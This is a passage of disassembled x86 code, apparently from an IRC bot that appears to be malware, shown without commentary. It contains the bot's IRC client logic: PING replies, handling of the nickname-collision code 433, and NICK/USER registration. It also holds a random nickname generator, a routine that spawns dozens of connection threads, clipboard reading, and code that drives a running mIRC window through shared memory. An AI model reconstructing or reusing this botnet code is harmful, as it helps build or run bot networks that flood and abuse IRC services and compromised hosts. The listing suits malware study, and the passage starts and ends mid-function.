		jmp	loc_4178B5
; ---------------------------------------------------------------------------

loc_41781C:				; CODE XREF: sub_4177CF+3Fj
					; sub_4177CF+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417837
		push	offset dword_4387E4
		jmp	short loc_417885
; ---------------------------------------------------------------------------

loc_417837:				; CODE XREF: sub_4177CF+5Fj
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417858
		push	esi
		push	offset dword_4387E0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B3

loc_417858:				; CODE XREF: sub_4177CF+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADD
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_4387D4

loc_417885:				; CODE XREF: sub_4177CF+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFF4

loc_4178B3:				; CODE XREF: sub_4177CF+87j
		xor	eax, eax

loc_4178B5:				; CODE XREF: sub_4177CF+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178BA	proc near		; DATA XREF: sub_417A5F+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4044[esi]
		mov	dword_4D4038[esi], edi
		push	dword_4D4244[esi]
		push	eax
		call	sub_417702
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D403C[esi], eax
		jb	loc_417A3F
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADD
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D403C[esi]
		call	dword_4CAFF4
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch

loc_417996:				; CODE XREF: sub_4178BA+111j
					; sub_4178BA+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D403C[esi]
		call	dword_4CAFBC
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A3F
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417996

loc_4179CD:				; CODE XREF: sub_4178BA+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F4
		cmp	al, 0Ah
		jz	short loc_4179F4
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F4
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2E
; ---------------------------------------------------------------------------

loc_4179F4:				; CODE XREF: sub_4178BA+11Cj
					; sub_4178BA+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2E
		push	dword_4D403C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177CF
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A3F
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx

loc_417A2E:				; CODE XREF: sub_4178BA+138j
					; sub_4178BA+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CD
		jmp	loc_417996
; ---------------------------------------------------------------------------

loc_417A3F:				; CODE XREF: sub_4178BA+40j
					; sub_4178BA+107j ...
		mov	dword_4D4038[esi], ebx
		mov	esi, dword_4D403C[esi]
		cmp	esi, ebx
		jbe	short loc_417A56
		push	esi
		call	dword_4CB03C

loc_417A56:				; CODE XREF: sub_4178BA+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A5F	proc near		; CODE XREF: sub_401ACD+31E1p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD8

loc_417A71:				; CODE XREF: sub_417A5F+77j
		xor	edi, edi
		mov	eax, offset dword_4D4038

loc_417A78:				; CODE XREF: sub_417A5F+28j
		cmp	[eax], ebx
		jz	short loc_417A89
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DA758
		jl	short loc_417A78

loc_417A89:				; CODE XREF: sub_417A5F+1Bj
		cmp	edi, 31h
		jz	short loc_417AD8
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4044[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4244[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4038[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BA
		push	ebx
		push	ebx
		nop
		call	near ptr 2670604h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A71

loc_417AD8:				; CODE XREF: sub_417A5F+10j
					; sub_417A5F+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADD	proc near		; CODE XREF: sub_401ACD+374Dp
					; sub_401ACD+3793p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B27
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_437F20[edx*4]
		jmp	short loc_417B40
; ---------------------------------------------------------------------------

loc_417B27:				; CODE XREF: sub_417ADD+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_437C20[edx*4]

loc_417B40:				; CODE XREF: sub_417ADD+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB3
		cmp	esi, 3
		jnz	short loc_417BAA
		cmp	ebx, 1
		jz	short loc_417BB3

loc_417BAA:				; CODE XREF: sub_417ADD+C6j
		cmp	eax, 1
		jnz	loc_417C6D

loc_417BB3:				; CODE XREF: sub_417ADD+C1j
					; sub_417ADD+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E0
		call	sub_41C798
		push	off_437F20[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5A
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5A
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al

loc_417C5A:				; CODE XREF: sub_417ADD+111j
					; sub_417ADD+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C1E0
		add	esp, 0Ch

loc_417C6D:				; CODE XREF: sub_417ADD+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED5
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCC
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDB
		cmp	eax, 1
		jnz	loc_417DCC

loc_417CDB:				; CODE XREF: sub_417ADD+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1D
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D39
; ---------------------------------------------------------------------------

loc_417D1D:				; CODE XREF: sub_417ADD+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl

loc_417D39:				; CODE XREF: sub_417ADD+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D62
		cmp	eax, ebx
		jnz	short loc_417DCC

loc_417D62:				; CODE XREF: sub_417ADD+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA7
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC5
; ---------------------------------------------------------------------------

loc_417DA7:				; CODE XREF: sub_417ADD+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl

loc_417DC5:				; CODE XREF: sub_417ADD+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi

loc_417DCC:				; CODE XREF: sub_417ADD+1C9j
					; sub_417ADD+1F8j ...
		cmp	esi, 6
		jge	loc_417E55
		cmp	esi, 5
		jge	short loc_417DED
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		jmp	short loc_417E0B
; ---------------------------------------------------------------------------

loc_417DED:				; CODE XREF: sub_417ADD+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8

loc_417E0B:				; CODE XREF: sub_417ADD+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2E
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4B
; ---------------------------------------------------------------------------

loc_417E2E:				; CODE XREF: sub_417ADD+335j
		cmp	eax, 1
		jnz	short loc_417E55
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h

loc_417E4B:				; CODE XREF: sub_417ADD+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi

loc_417E55:				; CODE XREF: sub_417ADD+2F2j
					; sub_417ADD+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		cmp	[ebp+var_C], eax
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl

loc_417ED5:				; CODE XREF: sub_417ADD+1B1j
					; sub_417ADD+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEE	proc near		; CODE XREF: sub_401ACD+BEBp
					; sub_401ACD+C28p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F79
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F79
		cmp	[ebp+arg_8], esi
		jz	short loc_417F79
		cmp	byte ptr [eax],	0
		jz	short loc_417F79
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F74
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6D
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi

loc_417F6D:				; CODE XREF: sub_417EEE+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx

loc_417F74:				; CODE XREF: sub_417EEE+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7B
; ---------------------------------------------------------------------------

loc_417F79:				; CODE XREF: sub_417EEE+Cj
					; sub_417EEE+13j ...
		xor	eax, eax

loc_417F7B:				; CODE XREF: sub_417EEE+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F7F	proc near		; CODE XREF: sub_401955+E9p
					; ___:004102F0p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB5
		or	eax, 0FFFFFFFFh
		jmp	short loc_418028
; ---------------------------------------------------------------------------

loc_417FB5:				; CODE XREF: sub_417F7F+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD7

loc_417FC1:				; CODE XREF: sub_417F7F+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCE
		cmp	dl, 0Dh
		jnz	short loc_417FD2

loc_417FCE:				; CODE XREF: sub_417F7F+48j
		and	byte ptr [ecx+esi], 0

loc_417FD2:				; CODE XREF: sub_417F7F+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC1

loc_417FD7:				; CODE XREF: sub_417F7F+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418008
		lea	edi, [ebp+var_7CC]

loc_417FE4:				; CODE XREF: sub_417F7F+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418003
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418003
		cmp	ebx, 1F4h
		jge	short loc_418008
		mov	[edi], ecx
		inc	ebx
		add	edi, 4

loc_418003:				; CODE XREF: sub_417F7F+69j
					; sub_417F7F+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE4

loc_418008:				; CODE XREF: sub_417F7F+5Dj
					; sub_417F7F+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418026
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch

loc_418026:				; CODE XREF: sub_417F7F+8Ej
		mov	eax, ebx

loc_418028:				; CODE XREF: sub_417F7F+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802C	proc near		; CODE XREF: sub_418086+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418065
		push	ebx
		mov	ebx, edi

loc_418049:				; CODE XREF: sub_41802C+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418068
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418049
		pop	ebx

loc_418065:				; CODE XREF: sub_41802C+18j
		pop	edi
		pop	esi
		retn
sub_41802C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418068	proc near		; CODE XREF: sub_41802C+25p
					; sub_418086+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418083
		cmp	al, 7Ah
		jg	short loc_418083
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------

loc_418083:				; CODE XREF: sub_418068+Ej
					; sub_418068+12j
		xor	eax, eax
		retn
sub_418068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418086	proc near		; CODE XREF: ___:0041532Dp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802C
		add	esp, 14h
		dec	esi
		mov	edi, esi

loc_4180C4:				; CODE XREF: sub_418086+B6j
		test	esi, esi
		jle	short loc_418142
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813A

loc_4180EA:				; CODE XREF: sub_418086+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418068
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810B
		mov	eax, ecx

loc_41810B:				; CODE XREF: sub_418086+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813E
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EA

loc_41813A:				; CODE XREF: sub_418086+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C4
; ---------------------------------------------------------------------------

loc_41813E:				; CODE XREF: sub_418086+8Aj
		xor	eax, eax
		jmp	short loc_418147
; ---------------------------------------------------------------------------

loc_418142:				; CODE XREF: sub_418086+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi

loc_418147:				; CODE XREF: sub_418086+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814C	proc near		; CODE XREF: sub_401ACD+67A3p
					; sub_401ACD+789Ep

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 2670E9Dh
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 27C0000h
		lea	eax, [ebp+var_100]

loc_418185:				; CODE XREF: sub_41814C+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418191
		cmp	cl, 9
		jnz	short loc_418194

loc_418191:				; CODE XREF: sub_41814C+3Ej
		inc	eax
		jmp	short loc_418185
; ---------------------------------------------------------------------------

loc_418194:				; CODE XREF: sub_41814C+43j
					; sub_41814C+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AE
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418194
		cmp	cl, 21h
		jl	short loc_418194

loc_4181AE:				; CODE XREF: sub_41814C+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DA75C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D6	proc near		; CODE XREF: sub_401ACD+24CAp
		push	esi
		push	0
		call	dword_4CAF74
		test	eax, eax
		jz	short loc_41820D
		push	1
		call	dword_4CAF94
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820D
		push	edi
		push	esi
		nop
		call	near ptr 27D05DEh
		push	esi
		mov	edi, eax
		nop
		call	near ptr 27D0000h
		call	dword_4CAFF8
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41820D:				; CODE XREF: sub_4181D6+Bj
					; sub_4181D6+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418211	proc near		; CODE XREF: sub_401ACD+7661p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CAFB0
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828D
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 27E01D7h
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 27E0000h
		nop
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CB000
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CB000
		push	ebx
		call	near ptr 27D0B79h
		nop
		push	edi
		call	near ptr 2650939h
		nop
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_41828F
; ---------------------------------------------------------------------------

loc_41828D:				; CODE XREF: sub_418211+16j
		xor	eax, eax

loc_41828F:				; CODE XREF: sub_418211+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418211	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418293	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
